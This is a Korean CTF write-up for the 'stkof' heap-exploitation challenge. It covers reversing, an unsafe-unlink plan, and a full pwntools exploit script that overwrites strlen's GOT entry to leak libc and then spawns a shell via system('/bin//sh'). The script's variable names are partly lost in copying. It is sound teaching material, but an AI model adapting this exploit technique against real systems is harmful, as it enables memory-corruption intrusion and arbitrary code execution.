1. Reversing

 

 군대라는 특성상 ida가 없어서 gdb-peda로 stkof을 리버싱을 진행했다. (매 포스팅 마다 이 이야기를 하는 이유는 슬퍼서..)

아무튼... 분석한 내용에 대해서 설명을 시작하자면 다소 불친절한 면이 있는 바이너리다. (메뉴같은 것도 안알려줘..)

분석결과로는 1, 2, 3, 4를 입력하면 해당 번호에 따른 기능을 수행하는데

 

기능 1 -> malloc을 할당할 size를 입력받고 malloc으로 할당받은 chunk의 주소가 몇 번 index에 들어가는 지 출력해주고 기능 입력대기로 돌아간다.

 

기능 2 -> write를 할 chunk의 index를 받아서 해당 index에 chunk 주소가 있는 지 확인 후 없으면 'FAIL'을 출력 있으면 입력할 string의 길이를 입력받고 할당받은 chunk에 write를 할 string을 받고 쓴다. 그 후 기능 입력대기로 돌아간다. (여기서 heap Overflow가 일어나서 unlink unsafe취약점을 이용한다.)

 

기능 3 -> free할 chunk의 index를 받아 해당 index에 chunk 주소가 있는 지 확인 후 있으면 free를 실행, 없으면 'FAIL'을 출력하고 기능 입력대기로 돌아간다.

 

기능 4 -> index를 받고 해당 index가 유효한지 검사 후 index에 해당하는 chunk에 쓰여진 string이 3보다 작거나 같으면 '//TODO'를 출력, 아닐경우 '...'를 출력한다.

 

2. Exploit

 

 해당 문제에서 system 함수의 주소를 알아내기 위해 필요한 libc leak은 UAF를 이용해 하나의 chunk(small bin에 속한)를 free -> malloc을 해서 main_arena bin의 주소를 overwrite되기 때문에 해당 주소로 system 함수의 주소를 구할 수 있다. 여기서 문제는 어떻게 strlen의 got를 overwrite 할 것인가? 였다. 

 

 제일 처음 떠오른 생각은 House Of Force로 top chunk를 overwrite하여 strlen의 got를 malloc으로 chunk를 할당받아서 쓰게끔 하는 것이었는데 이 때 top chunk의 주소를 알기위해 chunk주소에 대한 leak이 필요한데 해당 leak을 얻으려면 got Overwrite를 해야되므로 고착화상태가 된다... 그래서 방법을 수정하여 unsafe unlink를 이용하여 풀었다.

 

Create fake chunk + Overwrite next chunk's header -> Free next chunk -> Overwrite 0x602140 to strlen's got -> Write put's plt at strlen's got -> Get libc leak -> Write system's address at strlen's got -> Execute strlen("/bin//sh")

 

3. slv.py

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
 
= process('./stkof')
= ELF('./stkof')
 
puts_got = e.got['puts']
puts_plt = e.plt['puts']
strlen_got = e.got['strlen']
strlen_plt = e.plt['strlen']
 
 
 
def malloc(size):
    p.sendline('1')
    sleep(0.1)
    p.sendline(size)
    sleep(0.1)
    p.recv()
 
def write(index, size, tting):
    p.sendline('2')
    sleep(0.1)
    p.sendline(index)
    sleep(0.1)
    p.sendline(size)
    sleep(0.1)
    p.sendline(tting)
    sleep(0.1)
    p.recv()
 
def free(index):
    p.sendline('3')
    sleep(0.1)
    p.sendline(index)
    sleep(0.1)
    p.recv()
 
def strlen(index):
    p.sendline('4')
    sleep(0.1)
    p.sendline(index)
    sleep(0.1)
    return p.recvuntil('\n')
 
def main():
    
    malloc('256')
    malloc('256')
    malloc('256')
    malloc('256')
    malloc('256')
    free('4')
    malloc('256')
    write('3''8''/bin//sh')
    
    payload = ''
    payload += p64(0)
    payload += p64(0)
    payload += p64(0x602130)
    payload += p64(0x602138)
    payload += 'A'*(0x110 - 0x10 - 0x8*4)
    payload += p64(0x100)
    payload += p64(0x110)
    write('1''272', payload)
 
    free('2')
 
    payload = ''
    payload += 'A'*24
    payload += p64(strlen_got)
    write('1''32', payload)
 
    write('1''8', p64(puts_plt))
 
    libc_leak = u64(strlen('6')[:6]+'\x00\x00')
    log.info('libc_leak : ' + hex(libc_leak))
    
    system_Addr = libc_leak - 0x37c228
    
    write('1''8', p64(system_Addr))
    strlen('3')
    p.interactive()
    
 
if __name__ == '__main__':
    main()
 
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter

 

[깨달은 점]

 

1. pwntools 디버깅을 하려면 소스에서 breakpoint를 걸고 싶은 부분에 raw_input()을 걸어 대기하게끔 한 다음에 gdb attach $(pgrep [binary])로 프로세스에 gdb를 attach한 다음 breakpoint를 실제로 걸고 pwntools를 실행시킨 터미널에서 글자를 입력하여 실행하게끔 해주면 됨.

 

2. top chunk를 overwrite해서 got를 overwrite하는 House Of Force는 heap leak이 필수적이다. 그리고 이 공격에서 이용되는 공식인 ' 할당해야되는 malloc 크기 = Overwrite하고 싶은 주소 - chunk header의 크기 - 현재 top chunk의 주소'는 ' 다음 top chunk의 주소 = 현재 top chunk의 주소 + 할당된 malloc의 크기 + chunk header의 크기 ' 공식을 변형한 것임을 생각하면 된다. (물론 이 문제는 unsafe unlink로 풀었지만...)

+ Recent posts